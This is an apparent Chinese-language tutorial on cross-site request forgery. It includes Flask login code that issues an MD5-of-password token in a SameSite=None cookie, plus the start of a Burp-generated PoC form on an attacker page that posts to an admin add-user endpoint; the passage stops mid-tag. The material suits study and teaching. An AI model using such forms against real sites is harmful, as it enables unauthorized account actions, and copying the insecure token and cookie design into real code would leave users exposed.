想必大家对CSRF并不陌生,英文全名叫Cross-site request forgery,翻译过来就是跨站点请求伪造。简单的理解就是从B站点来请求A站点的某个动作。
这里最最关键的因素是令牌。用户在A站点登陆成功后,服务端颁发令牌并存储到浏览器中。客户端存储令牌方式主要2种:Cookie、localstorage
只有令牌存储在Cookie中才能利用CSRF,至于为什么到后面再讲。
首先我先演示一下第一种场景:MVC架构,站点:api.hack.me
Controller层代码如下
@app.route('/login_cookie_form',methods=["POST","GET"])
def login_cookie_form():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get('password')
print(username,password)
token = hashlib.new('md5', password.encode('utf-8')).hexdigest()
try:
res = make_response('set-cookie')
res.set_cookie("user",token,samesite=None,secure=True)
return res
except Exception as e:
print(e)
return render_template('login_cookie.html')
View层代码如下
<html>
<head>
<title>Login Form</title>
<form action="/login_cookie_form" method="post">
用户名:<input type="text" name="username">
密码:<input type="password" name="password">
<button type="submit">点击登陆</button>
</form>
</head>
</html>
登陆成功后, 服务端给客户端颁发令牌,存储到浏览器Cookie中,Domain为api.hack.me
可以看到添加成功了,那么接下来可以实施CSRF攻击了
这里攻击者构造了一个页面 http://attack.me/fake_add_user_form
页面内容如下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://api.hack.me/admin/add_user_form" method="POST">
<input type="hidden" name="username" value="helloworld" />
<input type&